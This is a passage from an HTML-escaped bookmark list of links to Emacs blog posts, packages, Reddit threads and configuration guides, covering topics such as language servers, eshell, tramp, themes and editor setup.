&lt;li&gt;&lt;a href="https://philjackson.github.io//emacs/shell/2021/07/26/export-an-environment-variable-to-emacs/"&gt;Export an environment variable to Emacs | Snippets and other bits&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/federicotdn/verb"&gt;GitHub - federicotdn/verb: HTTP client for Emacs&lt;/a&gt; (alternative to restclient).&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fsf.org/licensing/assigning.html"&gt;How to Assign Copyright — Free Software Foundation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ruzkuku.com/texts/lesser-known.html#m-x-find-library-mode-local-ret-2004"&gt;Lesser known functionalities in core Emacs (see setq-mode-local)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ruzkuku.com/texts/lesser-known.html"&gt;Lesser known functionalities in core Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ovistoica.com/blog/2024-7-05-modern-emacs-typescript-web-tsx-config"&gt;Modern Emacs Typescript Web (React) Config with lsp-mode, treesitter, tailwin…&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ovistoica.com/blog/2024-7-05-modern-emacs-typescript-web-tsx-config"&gt;Modern Emacs Typescript Web (React) Config with lsp-mode, treesitter, tailwind…&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://philjackson.github.io/emacs/mu4e/email/2021/08/30/save-all-mu4e-attachments/"&gt;Save all mu4e attachments | Snippets and other bits&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.rahuljuliato.com/posts/emacs-docker-podman"&gt;Using Emacs for Container Development: Configuring Emacs for Podman and Docker&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;][Christian Tietze: Emacs: center window on current monitor]].&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/junjiemars/.emacs.d/blob/master/config/gud-cdb.el"&gt;.emacs.d/gud-cdb.el (supports lldb)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/junjiemars/.emacs.d/blob/master/config/gud-lldb.el"&gt;.emacs.d&lt;em&gt;gud-lldb.el at master · junjiemars&lt;/em&gt;.emacs.d · GitHub&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacsthemes.com/"&gt;A GNU Emacs Themes Gallery (great for previewing)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://irreal.org/blog/?p=5378"&gt;A Reminder About Macro Counters&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://spin.atomicobject.com/2016/05/27/write-emacs-package/"&gt;A Simple Guide to Writing &amp;amp; Publishing Emacs Packages&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/ggnekq/a_very_minimal_but_elegant_emacs_i_think/"&gt;A very minimal but elegant emacs (I think) : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.aaronbieber.com"&gt;Aaron Bieber's blog&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.jesshamrick.com/2012/09/10/absolute-beginners-guide-to-emacs/"&gt;Absolute Beginner's Guide to Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://scripter.co/accessing-devdocs-from-emacs/"&gt;Accessing Devdocs from Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.d46.us/advanced-emacs-startup"&gt;Advanced Techniques for Reducing Emacs Startup Time&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/baohaojun/ajoke"&gt;Ajoke&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://amitp.blogspot.com/2019/07/emacs-mode-line-simplified.html"&gt;Amit's Thoughts: Emacs mode line simplified&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.masteringemacs.org/article/introduction-magit-emacs-mode-git"&gt;An introduction to Magit, an Emacs mode for Git&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/htfwfa/andrea_corallo_gccemacs_update_10_july_16_2020/"&gt;Andrea Corallo: gccemacs Update 10 (July 16, 2020)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://m00natic.github.io/emacs/emacs-wiki.html"&gt;Andrey's Opionated Emacs Guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://danmidwood.com/content/2014/11/21/animated-paredit.html"&gt;Animated guide to paredit&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/ehzxhn/any_packagesolution_to_fix_cursor_13_from_top_of/"&gt;Any package/solution to fix cursor 1/3 from top of buffer? (ie. alternatives to centered-cursor-mode)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.binchen.org/posts/aspell-0-60-8-will-have-direct-support-for-camelcase-words.html"&gt;Aspell 0.60.8 will have direct support for camelCase words (Update Emacs flyspell setup)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vxlabs.com/2018/03/30/asynchronous-rsync-with-emacs-dired-and-tramp/"&gt;Asynchronous rsync with Emacs, dired and tramp. – vxlabs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://oracleyue.github.io/2018/05/13/emacs-setup-md/"&gt;Automator to open files in Emacs clients by double-clicks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/emacs-tw/awesome-emacs/blob/master/README.org"&gt;Awesome Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/manateelazycat/aweshell"&gt;Awesome shell extension eshell with wonderful features&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bzg/emacs-training"&gt;Bastien's Emacs training&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/3r9fic/best_practicestip_for_companymode_andor_yasnippet/"&gt;Best practices/tip for Companymode and/or YASnippet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/walseb/blimp/blob/master/readme.org"&gt;Blimp - Bustling Image Manipulation Package (Emacs)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lars.ingebrigtsen.no/2020/08/02/emacs-on-macos-for-linux-peeps/"&gt;Building Emacs on Macos for Linux Peeps – Random Thoughts&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://beepb00p.xyz/pkm-search.html"&gt;Building personal search infrastructure for your knowledge and code | beepb00p&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/969wlv/c_integration_rtags_vs_emacsc=query_vs_ironymode/"&gt;C++ Integration: rtags vs emacs-cquery vs irony-mode (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cachestocaches.com/2015/8/c-completion-emacs/"&gt;C/C++ Completion in Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/66pq04/cant_get_tern_mode_to_work_properly/"&gt;Can't get Tern mode to work properly (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://irreal.org/blog/?p=7207"&gt;Capturing Code Snippets&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/9dg13i/cclsnavigate_semantic_navigat=ion_for_cc/"&gt;ccls-navigate: semantic navigation for C/C++/ObjC &lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/MaskRay/ccls"&gt;ccls: C/C++/ObjC language server supporting cross references, hierarchies, completion and semantic highlighting&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://two-wrongs.com/centered-cursor-mode-in-vanilla-emacs"&gt;Centered Cursor Mode in Vanilla Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/redguardtoo/emacs.d/issues/827"&gt;Chen Bin's councel/ctags/etags config&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ddavis.fyi/blog/2018-07-07-emacs-cpp-ide/"&gt;Clangd based Emacs C++ IDE (Doug Davis)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/magit_emacs/status/1284245544160952320"&gt;Colors in emacs -nw (use ~/.Xresources)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://people.gnome.org/~federico/blog/compilation-notifications-in-emacs.html"&gt;Compilation notifications in Emacs - Federico's Blog&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@suvratapte/configuring-emacs-from-scratch-intro-3157bed9d040"&gt;Configuring Emacs from Scratch — Intro - Suvrat Apte - Medium&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://codewinds.com/blog/2015-04-02-emacs-flycheck-eslint-jsx.html"&gt;Configuring emacs to use eslint and babel with flycheck for javascript and React.js JSX&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mbork.pl/Content_AND_Presentation"&gt;Content AND Presentation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/redguardtoo/counsel-etags#ctags-setup"&gt;counsel-etags: Fast, energy-saving, and powerful code navigation solution&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://erick.navarro.io/blog/creating-an-emacs-formatter-the-easy-way/"&gt;Creating an emacs formatter the easy way&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lars.ingebrigtsen.no/2018/11/12/cropping-images-in-emacs/"&gt;Cropping Images in Emacs (Lars Ingebrigtsen)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacs.zeef.com/ehartc"&gt;Curated list of packages by Ernst de Hart&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/maciejsmolinski/ea09a7b6dfabe70fac040915bc266b5e"&gt;Custom REPL snippet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacs-fu.blogspot.co.uk/2011/08/customizing-mode-line.html"&gt;Customizing emacs mode line&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zhangda.wordpress.com/"&gt;Da's recipes on Emacs, IT, and more (Da Zhang's web notes)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.modernemacs.com/post/major-mode-part-1/"&gt;Deep diving into a major mode - Part 1 | Modern Emacs&lt;/a&gt; (handy for writing a REPL).&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.modernemacs.com/post/major-mode-part-2/"&gt;Deep diving into a major mode - Part 2 (IDE Features) | Modern Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gonewest818.github.io/2020/02/dimmer.el-20200227.1712"&gt;dimmer.el (highlights active window)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://irreal.org/blog/?p=5380"&gt;Directory-Local Variables&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Silex/docker.el/blob/master/README.md"&gt;docker.el: Emacs integration for Docker&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://scripter.co/do-ediff-as-i-mean/"&gt;Ediff DWIM function by scripter.co&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacsnotes.wordpress.com/2018/05/14/editing-html-textareas-with-emacs-bye-bye-its-all-text-hello-textern/"&gt;Editing HTML Textareas with Emacs: Bye, bye “It’s All Text! “, Hello “Textern&amp;quot;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gleek.github.io/blog/2017/04/11/editing-remote-code-with-emacs/"&gt;Editing remote code with Emacs (tramp tips) - Umar Ahmad&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lgfang.github.io/mynotes/emacs/emacs-xml.html#sec-5"&gt;Editing XML in Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.masteringemacs.org/articles/2011/01/14/effective-editing-movement/"&gt;Effective editing I:Movement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ergoemacs.org/emacs/effective_emacs.html"&gt;Effective emacs tips&lt;/a&gt;: From ergoemacs.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sites.google.com/site/steveyegge2/effective-emacs"&gt;Effective emacs&lt;/a&gt;: Steve Yegge's effective emacs tips.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ddavis.io/posts/eglot-cpp-ide/"&gt;Eglot based Emacs C++ IDE with clangd (ddavis.io)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sp1ff/elfeed-score/blob/master/README.org"&gt;elfeed-score: brings Gnus-style scoring to Elfeed&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://realpython.com/blog/python/emacs-the-best-python-editor/?utm_content=buffer661a4&amp;amp;utm_medium=social&amp;amp;utm_source=twitter.com&amp;amp;utm_campaign=buffer"&gt;Emacs - the Best Python Editor?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/advent-calendar/2019/emacs"&gt;Emacs Advent Calendar 2019 - Qiita&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/sanityinc/status/1182877775746588672"&gt;Emacs and macOS Catalina issues (twitter)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mortens.dev/blog/emacs-and-the-language-server-protocol/"&gt;Emacs and the Language Server Protocol - Morten's Dev&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://joshwolfe.ca/post/emacs-for-csharp/"&gt;Emacs as a C# development environment - Josh Wolfe&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://forums.unrealengine.com/showthread.php?52891-Emacs-as-my-UE4-IDE-with-intellisense"&gt;Emacs as my UE4 IDE with intellisense&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lars.ingebrigtsen.no/2016/06/28/emacs-can-haz-fancy-meme/"&gt;EMACS CAN HAZ FANCY MEME – Random Thoughts&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.swaroopch.com/2013/10/17/emacs-configuration-tutorial"&gt;Emacs configuration&lt;/a&gt;: Simplify package management with cask.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacsfodder.github.io/"&gt;Emacs Fodder&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sites.google.com/site/drielsma/xcodeplusemacs"&gt;Emacs for Cocoa development&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pierre-lecocq/emacs4developers"&gt;Emacs for developers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://patrickskiba.com/emacs/2019/09/07/emacs-for-react-dev.html"&gt;Emacs for the React developer (Patrick Skiba)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://patrickskiba.com/emacs/2019/09/07/emacs-for-react-dev.html"&gt;Emacs for the React developer | Patrick Skiba&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/ca6q7v/emacs_for_web_dev_rjsx_webmode_tide_js2etc/"&gt;Emacs for Web/Javascript Dev: rjsx, web-mode, tide, js2…..etc?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://roupam.github.io/"&gt;Emacs for Xcode+ios Development&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://punchagan.muse-amuse.in/blog/emacs-frame-as-a-pop-up-input/"&gt;Emacs frame as a pop-up input - Noetic Nought&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://huytd.github.io/emacs-from-scratch.html"&gt;Emacs from scratch (huytd)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.redbubble.com/shop/emacs"&gt;Emacs Gifts &amp;amp; Merchandise | Redbubble&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://arenzana.org/2019/12/emacs-go-mode-revisited/"&gt;Emacs Go Mode – Revisited – arenzana.org&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.reddit.com/r/emacs/comments/1rck3u/what_do_you_use_to_navigate_code"&gt;Emacs goodies&lt;/a&gt;: Emacs post with tips for navigating code.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacshorrors.com"&gt;Emacs horrors&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sachachua.com/blog/2021/04/emacs-hydra-allow-completion-when-i-can-t-remember-the-command-name/"&gt;Emacs Hydra: Allow completion when I can't remember the command name&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/redguardtoo/mastering-emacs-in-one-year-guide/blob/master/guide-en.org"&gt;Emacs in one year&lt;/a&gt;: Someone's emacs experience over a year.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacs.sexy/"&gt;Emacs is sexy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://irreal.org/blog/"&gt;Emacs Keybindings for Mac OS X&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/avendael/7028579"&gt;Emacs keybindings for vimium&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://overtone.github.io/emacs-live/"&gt;Emacs live&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://phst.eu/emacs-modules"&gt;Emacs modules (Philipp’s documents)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.emacswiki.org/emacs/EmacsNiftyTricks"&gt;Emacs Nifty tricks&lt;/a&gt;: Another source of emacs goodness.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacsnyc.org/videos.html"&gt;Emacs NYC videos&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitea.petton.fr/DamienCassou/khardel"&gt;Emacs package integrating khard, a console cardav client&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacsredux.com/"&gt;Emacs redux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacsrocks.com"&gt;Emacs rocks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ubolonton.github.io/emacs-module-rs/0.8.0/"&gt;Emacs Rust module&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://alexn.org/wiki/emacs.html"&gt;Emacs Setup (macOS) - Alexandru Nedelcu&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/rangeoshun/67cb17392c523579bc6cbd758b2315c1"&gt;Emacs snippet: Typescript with CSS in JS, JSX and graphql highlighing.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bzg.fr/emacs-strip-tease.html"&gt;Emacs striptease (removing furniture)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://willschenk.com/articles/2020/tramp_tricks/"&gt;Emacs Tramp tricks (including docker snippet)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://forums.freebsd.org/threads/emacs-tramp-very-slow-on-connection.64498/"&gt;Emacs Tramp very slow on connection (The FreeBSD Forums)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://planet.emacsen.org/"&gt;Emacs workshop&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://lavnir.be/wp/"&gt;Emacs | less&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://realpython.com/emacs-the-best-python-editor/"&gt;Emacs – The Best Python Editor? – Real Python&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://idiocy.org/emacs-fonts-and-fontsets.html"&gt;Emacs, fonts and fontsets&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jherrlin.github.io/posts/emacs-gnupg-and-pass/"&gt;Emacs, GnuPG and Pass | jherrlin&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mathiasdahl/emacs-launcher"&gt;emacs-launcher: A launcher for programs, files, folders, web pages and other, using Emacs (supersedes anything-launcher)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/emacs-lsp/dap-mode#swift"&gt;emacs-lsp/dap-mode: Debug Adapter Protocol for Emacs (Swift included)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/emacs-lsp/lsp-ivy/tree/78c1429c62c19006058b89d462657e1448d1e595"&gt;emacs-lsp/lsp-ivy: ivy workspace symbols offered by lsp-mode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/shshkn/emacs.d/blob/master/docs/nativecomp.md"&gt;emacs.d/nativecomp.md (gccemacs)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.alexgallego.org/emacs/productivity/2016/01/16/emacs-no-modeline.html"&gt;Emacs: No modeline&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://realpython.com/emacs-the-best-python-editor/"&gt;Emacs: The Best Python Editor? – Real Python&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/hhbcg7/emacsclient_eval_with_command_line_arguments/"&gt;Emacsclient –eval with command line arguments? : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacslife.com/"&gt;Emacslife&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cireu/emacsql-sqlite3"&gt;emacsql-sqlite3: Yet another EmacSQL backend for SQLite&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.emacswiki.org/emacs/CreatingYourOwnCompileErrorRegexp"&gt;EmacsWiki: Creating Your Own Compile Error Regexp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.emacswiki.org/emacs/EshellForLoop"&gt;EmacsWiki: Eshell For Loop&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jonnay/emagicians-starter-kit"&gt;Emagicians starter kit&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/m-parashar/emax64"&gt;emax64: 64-bit Emacs for Windows with ImageMagick 7&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://endlessparentheses.com"&gt;Endless parenthesis&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.skybert.net/emacs/java/"&gt;Enterprise Java Development in Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ambrevar.xyz/emacs-eshell/"&gt;Eshell as a main shell&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kaihaosw/eshell-prompt-extras/blob/master/README.md"&gt;eshell-prompt-extras: Display extra information and color for your eshell prompt&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.misshula.org/category/tutorials.html"&gt;Evan Misshula (lots of great tutorials)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://edkolev.github.io/posts/2017-09-10-travis-for-emacs-packages.html"&gt;Evgeni Kolev Blog - Travis CI integration for emacs packages&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mitchfincher.blogspot.co.uk/2017/03/example-of-syntax-highlighting-with.html"&gt;Example of Syntax Highlighting&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://francismurillo.github.io/2017-04-15-Exploring-Emacs-chart-Library/"&gt;Exploring Emacs chart Library (chart-bar-quickie)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/maciejsmolinski/status/1269886224774451200"&gt;extend #emacs to run an interactive REPL process&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/973418/feedbuilderel_an_rss_and_atom=_generator/"&gt;feed-builder.el: An RSS (and Atom?) generator : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://irreal.org/blog/?p=7359"&gt;Find Commits Affecting a Function (Irreal)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/d11wtq/fiplr"&gt;Fiplr&lt;/a&gt;: An Emacs Fuzzy Find in Project Package.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/dive/f64c645a9086afce8e5dd2590071dbf9"&gt;Fix Emacs permissions on macOS Catalina&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/lewang/flx"&gt;Flx for emacs&lt;/a&gt;: Sublime-style searching for emacs.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://manuel-uberti.github.io//emacs/2019/07/18/reformatter/"&gt;Format XML like a pro&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://juanjoalvarez.net/es/detail/2014/sep/19/vim-emacsevil-chaotic-migration-guide/"&gt;From Vim to Emacs+Evil chaotic migration guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fukuyama.co"&gt;Fukuyama's Emacs/iOS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/mikroskeem/0a5c909c1880408adf732ceba6d3f9ab#gistcomment-3294346"&gt;gccemacs on OSX (mikroskeem's gist)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitlab.com/koral/gcmh"&gt;GCMH - the Garbage Collector Magic Hack&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.hoetzel.info/post/eshell-notifications"&gt;Get desktop notifications from Emacs shell commands ·&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/e8cm8x/get_stackoverflow_answers_with_completion_without/"&gt;Get Stackoverflow answers with completion (without Helm) : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/GhostText/GhostText/blob/master/README.md"&gt;GhostText: Use Emacs to write in your browser&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://whatworks4me.wordpress.com/2011/04/13/view-git-diffs-in-emacs-using-ediff/"&gt;Git diffs using Emacs ediff&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/akirak/git-identity.el"&gt;git-identity.el: Manage multiple Git identities from inside Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/alphapapa/yequake"&gt;GitHub - alphapapa/yequake: Drop-down Emacs frames, like Yakuake (modal emacs frames)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/AndreaCrotti/yasnippet-snippets"&gt;GitHub - AndreaCrotti/yasnippet-snippets: a collection of yasnippet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bastibe/annotate.el"&gt;GitHub - bastibe/annotate.el: Annotate.el&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bzg/emacs-training"&gt;GitHub - bzg/emacs-training: Emacs training&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/CeleritasCelery/company-async-files"&gt;GitHub - CeleritasCelery/company-async-files: company-files with an async banckend&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/chuntaro/epaint"&gt;GitHub - chuntaro/epaint: A simple paint tool for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/dieggsy/esh-autosuggest"&gt;GitHub - dieggsy/esh-autosuggest: Fish-like autosuggestions in eshell.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/emacs-jp/dmacro"&gt;GitHub - emacs-jp/dmacro: Repeated detection and execution of key operationw&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/gexplorer/simple-modeline"&gt;GitHub - gexplorer/simple-modeline: A simple mode-line for Emacs.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/joaotavora/eglot"&gt;GitHub - joaotavora/eglot: A client for Language Server Protocol servers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mmontone/template-overlays"&gt;GitHub - mmontone/template-overlays: Emacs overlays for template files&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/p3r7/space-theming"&gt;GitHub - p3r7/space-theming: A port of Spacemacs theming layer to vanilla Emacs&lt;/a&gt;.&lt;/li&gt;
